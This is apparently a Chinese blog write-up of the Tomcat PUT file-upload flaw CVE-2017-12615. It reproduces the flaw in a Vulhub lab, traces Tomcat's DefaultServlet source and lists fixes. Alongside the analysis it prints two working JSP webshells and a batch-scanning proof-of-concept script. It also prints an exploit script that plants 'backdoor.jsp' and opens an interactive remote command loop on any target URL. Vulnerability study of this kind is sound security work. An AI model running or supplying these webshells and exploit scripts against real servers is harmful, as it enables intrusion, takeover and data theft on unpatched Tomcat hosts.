CVE-2017-12615 | Tomcat远程代码执行漏洞
本次使用Vulhub这个漏洞靶场环境进行复现,减少配置环境的麻烦
将此容器环境中tomcat的catalina包拉取,拉取下来做代码分析。
靶场环境配置
前提:https://blog.csdn.net/qq_51577576/article/details/125048165 [docker搭建vulhub靶场环境]
进入漏洞目录
cd vulhub/tomcat/CVE-2017-12615/
开启环境
docker-compose up -d
查看镜像
docker ps
进入镜像环境
docker exec -ti [容器ID] bash
查看配置文件conf/web.xml中readonly的设置
cat conf/web.xml | grep readonly
使readonly=false
浏览器访问ip:8080

复现过程
burpsuite开始拦截
刷新网页,打开BurpSuite可以看到拦截的数据包,用Burp拦截到一个GET请求

修改内容右键选择发送到Repeate
将拦截到的GET请求修改为PUT请求,目标是上传Webshell。
我们通过构造的请求上传 4.jsp,执行该请求请求就会由 DefaultServlet 处理,从而PUT操作就会顺利执行,成功上传文件
- 修改请求方法:将
GET改为PUT。 - 修改请求路径:将路径改为
/木马文件名.jsp/,例如/2.jsp/。


木马
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
// 方式一:旧版本JDK (如JDK 1.8)
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
// 方式二:新版本JDK (如JDK 1.8+)
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd"); // 获取参数
if (cls != null) {
// 动态加载并执行
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
木马代码分析
这是一段非常典型的、用于实现动态类加载和执行的JSP Webshell代码,其核心目的是提供一个隐蔽的后门,允许攻击者动态上传并执行任意Java字节码。由于其核心逻辑是接收字节码并加载执行,常被冰蝎、哥斯拉等高级Webshell管理工具用作基础载荷
利用Java反射和自定义类加载机制,实现了恶意代码的无文件落地执行,具有极高的隐蔽性和灵活性,是传统Webshell的进化形态
蚁剑的交互原理
- 蚁剑本地生成一个包含恶意逻辑的 Java 类(比如
Evil.class),将其字节码做 Base64 编码; - 蚁剑把编码后的字符串通过
passwd参数传给这个 JSP 木马; - 木马解码得到字节码,用自定义类加载器加载成 Class 并实例化;
- 调用
equals(pageContext)触发恶意逻辑,蚁剑再接收返回结果,实现 “控制端 - 木马” 的交互。
简化后
声明部分(定义了一个自定义类加载器Loader)+脚本部分(处理请求参数、解码并执行恶意类)
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
// 方式一:旧版本JDK (如JDK 1.8)
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
// 方式二:新版本JDK (如JDK 1.8+)
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd"); // 获取参数
if (cls != null) {
// 动态加载并执行
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
-
填入Webshell内容:在请求体(Body)中,写入JSP木马代码。
GET请求修改为PUT,/后面加/,不加会被过滤掉,直接报404,在底端加代码,点击发送。
请求行:方法 + URL + 协议版本
!image.png
检查结果:
- 成功标志:如果服务器返回201(Created) 或204(No Content) 状态码,说明文件上传成功。

- 访问验证:在浏览器中访问
http://your-ip:8080/2.jsp,如果页面正常显示(可能是空白),说明Webshell已存在

在kali中查看是否已经添加了2.jsp文件

关闭BurpSuite拦截,访问网址,打开蚁剑连接,右键添加网址,密码是passwd


右键网址点击文件管理,即可以控制目标服务器文件

doPut(处理PUT请求)
在DefaultServlet中有对put请求的处理方法,代码如下
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (this.readOnly) {
resp.sendError(403);
} else {
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
DefaultServlet.Range range = this.parseContentRange(req, resp);
Object resourceInputStream = null;
try {
if (range != null) {
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(204);
} else {
resp.setStatus(201);
}
} else {
resp.sendError(409);
}
} finally {
if (resourceInputStream != null) {
try {
((InputStream)resourceInputStream).close();
} catch (IOException var13) {
}
}
}
}
这段代码是一个Java Servlet中的doPut()方法,用于处理HTTP PUT请求。具体来说,它用于更新或创建Web资源。
首先,代码检查了是否设置为只读模式。如果是只读模式,则通过resp.sendError(403)返回HTTP 403 Forbidden错误。
如果不是只读模式,则继续执行PUT请求的处理逻辑。首先,获取请求路径path,然后使用this.resources.getResource(path)从资源管理器中获取与该路径对应的Web资源对象,赋值给resource变量。
接下来,代码解析Content-Range请求头,以确定PUT请求的范围。如果存在范围,则执行部分更新操作,并将更新后的内容写入到临时文件中。然后,将该临时文件作为输入流赋值给resourceInputStream变量。如果没有范围,则直接使用请求的输入流作为resourceInputStream。
然后,代码调用this.resources.write(path, (InputStream)resourceInputStream, true)方法,将输入流中的内容写入到指定的Web资源中。如果写入成功,则根据资源是否已存在返回相应的HTTP状态码(204表示资源已存在且成功更新,201表示资源创建成功)。如果写入失败,则返回HTTP 409 Conflict错误。
最后,在finally块中关闭resourceInputStream流。
该方法的开端就判断了一个 readOnly 属性,当结果为 true 时会直接返回 403,但如果readOnly为false 那这段程序处理的逻辑是怎样的?
在web.xml将这个类(DefaultServlet)的readOnly设置为false
doPut方法就是用于处理PUT请求的,该方法会接收两个参数,分别代表http请求对象和http响应对象,具体实现如下
@Override
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if (readOnly) {
resp.sendError(HttpServletResponse.SC_FORBIDDEN);
return;
}
//获取请求的uri
String path = getRelativePath(req);
//获取请求uri资源对象
WebResource resource = resources.getResource(path);
Range range = parseContentRange(req, resp);
InputStream resourceInputStream = null;
try {
// Append data specified in ranges to existing content for this
// resource - create a temp. file on the local filesystem to
// perform this operation
// Assume just one range is specified for now
if (range != null) {
File contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
//调用write方法生成jsp文件
if (resources.write(path, resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
} else {
resp.setStatus(HttpServletResponse.SC_CREATED);
}
} else {
resp.sendError(HttpServletResponse.SC_CONFLICT);
}
} finally {
if (resourceInputStream != null) {
try {
resourceInputStream.close();
} catch (IOException ioe) {
// Ignore
}
}
}
}
doPut方法中首先会判断readOnly,如果readOnly值为true会发送SC_FORBIDDEN错误并直接返回(SC_FORBIDDEN定义在HttpServletResponse接口中,表示403错误代码)。只有当readOnly值为false才会继续往下执行,那么readOnly值是从哪来的?其实readOnly的值就是从web.xml文件中读取的,这也是为什么之前漏洞复现时修改readOnly的原因。
getRelativePath方法用于获取http请求对象req中的请求uri路径(/1.jsp/),getResource方法主要返回一个请求的uri路径的资源对象,接着调用了write方法写入文件,传入了三个参数,我们只关心前2个参数。
write方法中的path就是请求的uri路径,is为uri资源对象,其数据类型为InputStream
public boolean write(String path, InputStream is, boolean overwrite) {
path = validate(path);
if (!overwrite && preResourceExists(path)) {
return false;
}
//生成jsp文件
boolean writeResult = main.write(path, is, overwrite);
if (writeResult && isCachingAllowed()) {
// Remove the entry from the cache so the new resource is visible
cache.removeCacheEntry(path);
}
return writeResult;
}
write方法实现如下
public boolean write(String path, InputStream is, boolean overwrite) {
//检查uri路径
checkPath(path);
if (is == null) {
throw new NullPointerException(
sm.getString("dirResourceSet.writeNpe"));
}
if (isReadOnly()) {
return false;
}
File dest = null;
String webAppMount = getWebAppMount();
if (path.startsWith(webAppMount)) {
//这里调用了file方法
dest = file(path.substring(webAppMount.length()), false);
if (dest == null) {
return false;
}
} else {
return false;
}
if (dest.exists() && !overwrite) {
return false;
}
try {
if (overwrite) {
//这里又调用了Files.copy方法生成jsp文件
Files.copy(is, dest.toPath(), StandardCopyOption.REPLACE_EXISTING);
} else {
Files.copy(is, dest.toPath());
}
} catch (IOException ioe) {
return false;
}
return true;
}
write方法内部调用了一个file方法并返回了一个dest变量,接着调用了Files.copy方法
file方法具体实现如下
protected final File file(String name, boolean mustExist) {
//判断rui路径
if (name.equals("/")) {
name = "";
}
//创建文件
File file = new File(fileBase, name);
if (!mustExist || file.canRead()) {
if (getRoot().getAllowLinking()) {
return file;
}
// Check that this file is located under the WebResourceSet's base
String canPath = null;
try {
canPath = file.getCanonicalPath();
} catch (IOException e) {
// Ignore
}
if (canPath == null)
return null;
if (!canPath.startsWith(canonicalBase)) {
return null;
}
// Case sensitivity check
// Note: We know the resource is located somewhere under base at
// point. The purpose of this code is to check in a case
// sensitive manner, the path to the resource under base
// agrees with what was requested
String fileAbsPath = file.getAbsolutePath();
if (fileAbsPath.endsWith("."))
fileAbsPath = fileAbsPath + '/';
String absPath = normalize(fileAbsPath);
if ((absoluteBase.length() < absPath.length())
&& (canonicalBase.length() < canPath.length())) {
absPath = absPath.substring(absoluteBase.length() + 1);
if (absPath.equals(""))
absPath = "/";
canPath = canPath.substring(canonicalBase.length() + 1);
if (canPath.equals(""))
canPath = "/";
if (!canPath.equals(absPath))
return null;
}
} else {
return null;
}
//返回文件
return file;
}
file方法接收两个参数,name为uri路径,mustExist参数一般为false,调用了equals方法判断请求的uri路径中是否有“/”,如果有那么name参数就不会置为空,然后创建了一个file对象并传入了2个参数,参数fileBase就是tomcat的webapp/ROOT路径,全路径为:D:\ProgramFiles\apache-tomcat-8.0.45\webapps\ROOT,也就是说,new file返回的file对象的内容为D:\ProgramFiles\apache-tomcat-8.0.45\webapps\ROOT\1.jsp,注意:这里在生成文件名时把最后的“/”斜杠字符去掉了。
说白了new file操作就是创建了一个文件,然后将返回的文件赋值给变量dest,接着就调用copy方法,将变量dest作为参数传给copy方法。
继续跟进copy方法:
public static long copy(InputStream in, Path target, CopyOption... options)
throws IOException
{
// ensure not null before opening file
Objects.requireNonNull(in);
// check for REPLACE_EXISTING
boolean replaceExisting = false;
for (CopyOption opt: options) {
if (opt == StandardCopyOption.REPLACE_EXISTING) {
replaceExisting = true;
} else {
if (opt == null) {
throw new NullPointerException("options contains 'null'");
} else {
throw new UnsupportedOperationException(opt + " not supported");
}
}
}
// attempt to delete an existing file
SecurityException se = null;
if (replaceExisting) {
try {
deleteIfExists(target);
} catch (SecurityException x) {
se = x;
}
}
// attempt to create target file. If it fails with
// FileAlreadyExistsException then it may be because the security
// manager prevented us from deleting the file, in which case we just
// throw the SecurityException.
OutputStream ostream;
try {
//生成jsp文件
ostream = newOutputStream(target, StandardOpenOption.CREATE_NEW,
StandardOpenOption.WRITE);
} catch (FileAlreadyExistsException x) {
if (se != null)
throw se;
// someone else won the race and created the file
throw x;
}
// do the copy
//写入数据
try (OutputStream out = ostream) {
return copy(in, out);
}
}
copy方法内部调用了一个newOutputStream方法,传入了一个参数target,这个参数tomcat容器生成的文件存储路径D:\ProgramFiles\apache-tomcat-8.0.45\webapps\ROOT,也就是说我们上传的1.jsp文件会存在这个路径。
继续跟进newOutputStream方法,该方法内部又调用了一个newOutputStream方法
public static OutputStream newOutputStream(Path path, OpenOption... options) throws IOException {
//生成jsp文件并返回
return provider(path).newOutputStream(path, options);
}
newOutputStream返回时,在webapp/ROOT目录下会创建1.jsp文件,不过此时的1.jsp文件没有内容。
接着再回到copy方法调用处,这里又调用了一次copy,写入数据
private static long copy(InputStream source, OutputStream sink) throws IOException {
long nread = 0L;
byte[] buf = new byte[BUFFER_SIZE];
int n;
while ((n = source.read(buf)) > 0) {
//写入数据
sink.write(buf, 0, n);
nread += n;
}
return nread;
}
参数source就是PUT请求中的数据,read函数会从source读取数据,然后写入到1.jsp文件
uri映射规则
DefaultServelt与JspServlet(在conf-web.xml)
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet


tomcat任意文件写入漏洞通过一些错误配置,然后再构造特定的uri请求来绕过JspServlet,利用DefaultServlet程序的漏洞上传文件,如何绕过JspServlet我们可以查看web.xml文件中JspServlet和DefaultServlet的uri映射规则
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
当请求uri路径为/1.jsp或/1.jspx时会匹配到JspServlet,如果请求uri为/1.jsp/时不会匹配到JspServlet,而是会匹配DefaultServlet,从而绕过JspServlet。
jsp文件实际上是一个servlet,tomcat会把jsp文件转换成java代码的.class文件并执行,那么我们可以在jsp文件中插入恶意执行的代码就可以达到RCE的目的了
漏洞修复
-
升级tomcat高版本或者在web.xml配置文件中设置readonly值为true
-
使用springmvc等javaweb框架自定义请求拦截规则或自定义实现拦截器
POC和EXP
POC
#CVE-2017-12615 POC
__author__ = '纸机'
import requests
import optparse
import os
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')
options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
filename = '/hello.jsp'
#测试数据
data = 'hello'
#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)
#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
try:
response = requests.put(url+filename+'/',data=data)
return 1
except Exception as e:
print("[-] {0} 连接失败".format(url))
return 0
def checking(url):
try:
#验证文件是否上传成功
response = requests.get(url+filename)
#print(url+filename)
if response.status_code == 200 and 'hello' in response.text:
print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
else:
print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
except Exception as e:
#print(e)
print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
with open(options.FILE) as f:
urls = f.readlines()
#print(urls)
for url in urls:
url = str(url).replace('\n', '').replace('\r', '').strip()
if upload(url) == 1:
checking(url)
elif options.FILE and not os.path.exists(options.FILE):
print('[-] {0} 文件不存在'.format(options.FILE))
else:
#上传链接
url = options.URL+':'+options.PORT
if upload(url) == 1:
checking(url)
测试
python3 CVE-2017-15715-POC.py -u http://192.168.75.129 -p8080
python3 CVE_2017_12615.py -f IP.txt
EXP
#CVE-2017-12615 EXP
__author__ = '纸机'
import requests
import optparse
import time
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>'''
#上传木马文件
def upload(url):
print('[*] 目标地址:'+url)
try:
respond = requests.put(url+filename+'/',headers=headers,data = data)
#print(respond.status_code)
if respond.status_code == 201 or respond.status_code == 204:
#print('[*] 目标地址:'+url)
print('[+] 木马上传成功')
except Exception as e:
print('[-] 上传失败')
return 0
#命令执行
def attack(url,cmd):
try:
respond = requests.get(url+payload+cmd)
if respond.status_code == 200:
print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())
except Exception as e:
print('[-] 命令执行错误')
if upload(url) == 0:
exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
cmd = input('>>>')
if(cmd == 'quit'):
break
attack(url,cmd)
python3 CVE-2017-12615-EXP.py -u http://192.168.75.129 -p 35654
时序图1

时序图2





浙公网安备 33010602011771号